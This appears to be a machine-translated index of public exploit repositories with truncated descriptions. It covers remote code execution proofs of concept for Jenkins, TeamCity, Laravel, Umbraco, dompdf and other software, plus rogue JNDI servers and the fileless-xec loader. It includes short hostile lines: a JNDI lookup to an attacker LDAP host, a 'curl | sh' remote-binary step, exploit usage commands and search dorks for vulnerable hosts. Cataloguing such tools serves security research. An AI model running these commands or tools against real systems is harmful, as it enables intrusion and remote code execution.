poc-yaws-cgi-shell-injection

Yaws 웹 서버의 OS 명령 주입 CVE-2020-24916 개념 증명 테스트 이미지 빌드: docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile . 및/또는 컨테이너 실행 docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:shell-injection-appmod-cgi curl...

Atom-CMS-2.0---File-Upload-Remote-Code-Execution-Un-Authenticated-POC

Atom-CMS-2.0---파일-업로드-원격-코드-실행-비인증- 원격 코드 실행 RCE Exploit 작성자: Ashish Koli Shikari 공급업체 홈페이지: https://thedigitalcraft.com/ 소프트웨어 링크: https://github.com/thedigicraft/Atom.CMS 버전: 2.0 CVE: CVE-2022-25487 설명: 이 스크립트는 Atom CMS에 webshell.php를 업로드합니다. 애플리케이션은 해당 파일을 저장하며, uploads 디렉터리의 고유 번호를 통해 Webshel...

rogue-jndi

Rogue JNDI JNDI インジェクション攻撃用の悪意のある LDAP サーバー。 説明 このプロジェクトには、デフォルトで安全ではない Java JNDI API を悪用するための LDAP および HTTP サーバーが含まれています。 攻撃を実行するには、これらのサーバーをローカルで起動し、脆弱なクライアント上で JNDI 解決をトリガーします。例: InitialContext.doLookup"ldap://yourserver.com:1389/o=reference"; これにより、脆弱なクライアントからローカル LDAP サーバーへの接続が開始されます。...

webcgi-exploits

Web CGI 익스플로잇 다음은 다양한 웹 CGI와 관련된 몇 가지 익스플로잇입니다. 저는 지난 몇 년 동안 이 익스플로잇들을 작성했습니다. 작동 방식 웹 애플리케이션은 기본적으로 다음과 같은 계층들로 구성됩니다: 1. 애플리케이션 2. 웹 프레임워크 3. 스크립트 언어 엔진 4. 웹 컨테이너서버 5. 웹 프런트 프록시nginx 등 4와 5는 같은 것일 수 있습니다. 3과 4도 같은 것일 수 있습니다. 각 계층 사이에는 통신이 있습니다. 각 계층의 소프트웨어는 서로 다른 팀에 의해 개발됩니다. 그들은 서로 통신하기 위한 표준을...

CVE-2026-42356

Deployment of wrong handler vulnerability in Apache HTTP Server allows the target of some internal redirects from CGI programs to also be treated as CGI and executed. The target must already be in a directory enabled for CGI and have no other extension understood by modmime. This issue affects...

hekate

Hekate - VMWare Workspace ONE Access 원격 코드 실행 익스플로잇 Qihoo 360 취약점 연구소의 Steven Seeley LandGrey의 원본 rogue MySQL 서버 세부 정보 Hekate는 heh-ka-teh로 발음됩니다. 날짜: Tue Feb 22 13:37:00 CST 2022 버전: 21.08.0.1 최신 파일: identity-manager-21.08.0.1-19010796OVF10.ova 파일 SHA1: 69e9fb988522c92e98d2910cc106ba4348d61851 추가...

textpattern-exploit-rce

Textpattern = 4.8.3 원격 코드 실행 인증됨 Textpattern 버전 4.8.3까지는 인증된 사용자가 임의의 PHP 파일을 업로드할 수 있습니다. 이 스크립트는 해당 과정을 자동화하고 업로드된 파일을 삭제할 수 있게 해줍니다. 사용법 python3 exploit.py -t TARGET -u USER -p PASSWORD -c COMMAND -f FILENAME -d -t: 공격할 URL /textpattern 제외 -u: 사용자 이름 -p: 비밀번호 -c: 실행할 명령 선택 사항. 기본값: "whoami" -f...

Umbraco-RCE

Umbraco RCE 익스플로잇 / PoC Umbraco CMS 7.12.4 - 인증된 원격 코드 실행 EDB-49488 PacketStorm WLB-2020080012 사용법 $ python exploit.py -h usage: exploit.py -h -u USER -p PASS -i URL -c CMD -a ARGS Umbraco authenticated RCE optional arguments: -h, --help show this help message and exit -u USER, --user USER userna...

agent_tesla_panel_rce

agentteslapanelrce 이 모듈은 Agent Tesla의 제어 센터에서 명령 주입 취약점을 악용합니다. 설정 테스트용 리소스는 여기에서 확인할 수 있습니다: https://github.com/mekhalleh/agentteslapanelrce/tree/master/resources Windows WebPanel1.7z인증되지 않은 RCE의 경우, PHP 5.6.40 버전으로 구성된 WAMP 서버 3.1.9 x64를 사용했습니다ioncube 호환을 위해. WebPanel2.7z인증된 RCE의 경우, PHP 7.2.18...

dompdf-rce

dompdf용 RCE 익스플로잇 이 저장소는 dompdf 1.2.0을 사용하는 취약한 데모 애플리케이션과 ttf+php 폴리글롯 파일을 통한 원격 코드 실행을 달성하는 익스플로잇을 포함하고 있습니다. 자세한 내용은 https://positive.security/blog/dompdf-rce를 방문하세요. 지침 1. 데모 애플리케이션 실행 $ cd application $ php -S localhost:9000 2. 익스플로잇 서버 실행 $ cd exploit $ php -S localhost:9001 3. 익스플로잇 트리거...

OpenEMR-RCE

OpenEMR RCE 익스플로잇 / PoC OpenEMR --shell --user --password --debug exploit.rb semi-auto --root-url --user --password --payload --lhost --lport --debug exploit.rb auto --root-url --user --password --lhost --lport --debug exploit.rb -H | --help Options: -r , --root-url Root URL base path including...

ysoserial-modified

ysoserial-modified 이것은 여기에서 찾을 수 있는 원본 ysoserial 애플리케이션의 포크입니다: https://github.com/frohoff/ysoserial 수정 사항 설명 Java에서 Runtime.getRuntime.execString.class가 동작하는 방식 때문에, 파이프를 제어하거나 출력을 파일로 보내야 하는 중첩되고 복잡한 명령예: cat /etc/passwd /tmp/passwdcopy은 작동하지 않습니다. Runtime 클래스의 exec 메서드에 의해 실행되는 명령이 터미널 환경 내에서...

Atmail-exploit-toolchain

AtMail 이메일 서버 어플라이언스 6.4 - 익스플로잇 툴체인 XSS CSRF RCE PacketStorm WLB-2020080010 고지: 이 익스플로잇 툴체인은 EDB-ID 20009에서 영감을 받았습니다. 목표 이 익스플로잇 툴체인의 목표는 EDB-ID 20009를 대체하는 것입니다. 이 툴체인이 EDB-ID 20009 익스플로잇보다 가지는 장점: 사용하기 간단함 재사용 가능 동적으로 생성되는 페이로드 쉽게 편집/변조 가능 명확한 코드와 플러그인 제공 EDB-ID 20009 익스플로잇의 단점: 사용자 지정 불가 정적으...

marshalsec

Java Unmarshaller Security - 데이터를 코드 실행으로 바꾸기 Log4Shell/CVE-2021-44228 때문에 여기에 오셨다면, 공격 벡터와 영향을 받는 Java 런타임 버전에 대해 읽어보시기 바랍니다: https://mbechler.github.io/2021/12/10/PSALog4ShellJNDIInjection/ 논문 Chris Frohoff와 Garbriel Lawrence가 Java 객체 역직렬화 취약점에 대한 연구를 발표한 지 2년 이상이 지났습니다. 그 연구는 궁극적으로 Java 역사상 가장...

awesome-jenkins-rce-2019

awesome-jenkins-rce-2019 2017년 5월 이후 Jenkins에는 사전 인증pre-auth RCE가 없었지만, 이것이 바로 그 방법입니다! CVE-2018-1000861, CVE-2019-1003005 및 CVE-2019-1003029를 연결하여 더 안정적이고 우아한 사전 인증 원격 코드 실행을 달성합니다! 영향 목록 ANONYMOUSREAD 비활성화 Jenkins 버전 2.138 ANONYMOUSREAD 활성화또는 일반 사용자 계정 사용 Jenkins 빌드 시간 2019-01-28 사용법 $ curl -s ...

CVE-2024-27198-RCE

사이버공간 매핑 Dork Fofa app="JETBRAINS-TeamCity" ZoomEye app:"JetBrains TeamCity" Hunter.how product.name="TeamCity" Shodan http.component:"teamcity" 사용 방법 Python3.9를 사용합니다. pip install requests urllib3 faker python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111 --behinder4 python...

rusty_joomla_rce

Rusty Joomla RCE 세부 정보 기술적 세부 정보는 다음 링크에서 확인할 수 있습니다: https://1day.dev/notes/Rusty-Joomla-Remote-Code-Execution...

fileless-xec

➲ fileless-xec 🦜 👋 Certainly useful , mainly for fun, rougly inspired by 0x00 article Pentest use: fileless-xec is used on target machine to stealthy execute a binary file located on attacker machine ➲ Short story fileless-xec enable us to execute a remote binary on a local machine directly from...

fileless-xec

➲ fileless-xec 🦜 👋 Certainly useful , mainly for fun, rougly inspired by 0x00 article 침투 테스트 용도: fileless-xec는 대상 머신에서 공격자 머신에 있는 바이너리 파일을 은밀하게 실행하는 데 사용됩니다. ➲ 짧은 이야기 fileless-xec를 사용하면 원격 바이너리를 디스크에 저장하지 않고 로컬 머신에서 직접 메모리에서 실행할 수 있습니다. ➪ 설치 간단한 사용법 fileless-xec binaryurl curl | sh for binaries 지...

laravel-8.4.2-rce

laravel-8.4.2-rce 환경 설정 git clone https://github.com/laravel/laravel.git cd laravel git checkout e849812 composer install composer require facade/ignition==2.5.1 php artisan serve 사용법 python3 exploit.py http://pwnme.me:8000 /var/www/html/laravel/storage/logs/laravel.log 'uname -a' 참고 자료 Laravel =...